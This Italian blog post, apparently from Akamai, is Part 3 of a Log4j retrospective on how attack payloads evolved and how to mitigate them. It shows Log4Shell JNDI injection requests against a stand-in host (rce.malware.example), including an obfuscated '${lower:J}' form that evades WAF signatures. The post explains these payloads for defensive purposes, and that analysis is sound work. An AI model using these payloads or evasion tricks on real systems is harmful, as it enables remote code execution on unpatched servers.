Retrospettiva su Log4j - Parte 3: Evoluzione - Diversificazione dei payload e degli attacchi

Nella Parte 2 di questa serie, abbiamo descritto l'esfiltrazione dei dati e gli exploit di esecuzione di codice in remoto, nonché la superficie delle minacce. In questo post, voglio parlare di ciò che abbiamo scoperto sull'evoluzione degli attacchi man mano che procediamo con la nostra ricerca. Ad esempio, nel dicembre 2021, Hidecki Okamoto di Akamai ha scoperto una nuova vulnerabilità. Monitorando continuamente la situazione e fornendo protezioni ai propri clienti, Akamai ha osservato le minacce evolversi in due direzioni distinte. La prima riguarda i payload.

Le aziende si affidano sempre più a misure di mitigazione come i Web Application Firewall (WAF) per proteggerle. Tali sistemi ricercano la presenza di stringhe sfruttabili nelle richieste web eliminando quelle che trovano. Un esempio molto semplice e forzato potrebbe essere eliminare qualsiasi richiesta web che contenga i seguenti sette caratteri adiacenti l'uno all'altro:

${jndi:

Ciò eliminerebbe il seguente esempio basato sul web poiché individuerebbe la firma evidenziata nella richiesta:

GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1

Host: www.webapp.example

A prima vista potrebbe sembrare una firma legittima da cercare, ma dobbiamo ricordare che Log4j consente costruzioni incredibilmente complesse e nidificate. Per aggirare quanto sopra, gli aggressori possono modificare l'attacco in modo che assomigli al seguente:

GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1

Host: www.webapp.example

In questo esempio, i sette caratteri speciali adiacenti precedenti ${jndi: non sono più presenti e, di conseguenza, la firma WAF illegittima verrebbe ignorata con successo.

Esaminiamo le azioni di Log4j dopo aver ricevuto il percorso: /${${lower:J}ndi:ldap://rce.malware.example/a} per la registrazione.

In primo luogo, espanderebbe l'espressione di ricerca di ${lower:J} a j, determinando la seguente stringa provvisoria:

/${jndi:ldap://rce.malware.example/a}

Successivamente, rilevando l'espressione di ricerca JNDI di ${jndi:ldap://rce.malware.example/a}, Log4j passerebbe il pseudo URL LDAP ldap://rce.malware.example/a in JNDI, causando l'exploit descritto dettagliatamente in precedenza.

Ciò si traduce in un gioco di "inseguimento" in cui gli aggressori utilizzano una costruzione del payload fino a quando non vengono bloccati, a quel punto modificano il payload per tentare ancora una volta di aggirare i controlli della firma, fino a quando non vengono nuovamente rilevati e così via.

In Akamai abbiamo assistito a tentativi di aggirare i controlli attraverso la manipolazione di stringhe di payload simili e molto più avanzate rispetto a quelle precedenti e attraverso approcci meno ovvi come codifiche di contenuti creativi, codifiche di trasferimento, set di caratteri e altro ancora.

La seconda evoluzione che stiamo osservando riguarda la diversificazione degli obiettivi e dei protocolli di attacco. Come menzionato nella Parte 2, le applicazioni basate sul web sono attualmente il vettore di attacco principale, ma con l'aumento delle protezioni del vettore web e l'applicazione continua di patch, stiamo assistendo a un aumento dei tentativi su DNS e altri protocolli meno ovvi.

Soluzione e mitigazioni

Data l'entità dei diversi vettori di attacco che possono essere sfruttati contro questa vulnerabilità, l'unica vera soluzione è applicare patch a tutti i sistemi vulnerabili. Tuttavia, come affermato in precedenza, ad alcuni sistemi potrebbe non essere possibile applicare patch, in quanto si tratta di sistemi integrati senza metodo per gli aggiornamenti o di applicazioni commerciali pronte all'uso per le quali le tempistiche del fornitore potrebbero non essere veloci come desiderato.

Un ulteriore aspetto che complica la mitigazione è il fatto che molte aziende non hanno ancora la visibilità completa richiesta nei propri ambienti per sapere esattamente quali sistemi siano vulnerabili.

Abbiamo esaminato le mitigazioni in un post precedente sul blog di Akamai e sul nostro blog del team Guardicore. Per ricapitolare, Akamai consiglia le azioni seguenti:

1. Per i sistemi a cui è possibile applicare patch, procedere immediatamente.

Ciò fornisce la massima misura di protezione. Assicurarsi che Log4j stia eseguendo la versione più recente (2.17.0 al momento della stesura di questo articolo).

2. Per i sistemi che sono stati identificati come vulnerabili, ma per i quali è necessario attendere l'aggiornamento di Log4j, ridurre la superficie delle minacce con le seguenti impostazioni, ove possibile:

Per le versioni di Log4j ≥ 2.10, passare "-Dlog4j2.formatMsgNoLookups=true" all'applicazione all'avvio disabiliterà le espressioni di ricerca.

Per Java, assicurarsi che le seguenti impostazioni siano vere sui sistemi in uso:

com.sun.jndi.ldap.object.trustURLCodebase=false

com.sun.jndi.rmi.object.trustURLCodebase=false

3. Eseguire una soluzione WAF, come la soluzione Kona leader di mercato di Akamai, davanti a tutte le applicazioni web per filtrare i tentativi di attacco.

Questa azione dovrebbe essere eseguita sia per i server interni che per quelli esterni.

4. Eseguire un firewall DNS, come Akamai Secure Internet Access Enterprise, sia per ottenere visibilità sui payload DNS sospetti che attraversano l'ambiente, sia per bloccarli.

5. Eseguire uno strumento per ottenere una visibilità completa sui processi in esecuzione nell'ambiente, sia nativo che cloud.

Utilizzare strumenti, come quelli forniti da Akamai Guardicore Segmentation, per fornire visibilità su tutti i processi in esecuzione nell'ambiente. Utilizzare questi strumenti per individuare applicazioni con vulnerabilità di cui si potrebbe non essere a conoscenza.

6. Ridurre al minimo le comunicazioni per le applicazioni interessate.

Utilizzare la segmentazione basata sull'identità, come quella fornita da Akamai Guardicore Segmentation, per limitare le possibilità di comunicazione dei sistemi vulnerabili.

Il futuro

Queste strategie di mitigazione possono ridurre significativamente il rischio per i sistemi vulnerabili mentre viene progettata ed eseguita una strategia di patch. La nostra retrospettiva è quasi conclusa; finora, abbiamo esaminato il background, gli exploit e le mitigazioni di una vulnerabilità di Log4j. Nella Parte 4, concluderemo con un riepilogo delle lezioni apprese. Da non perdere.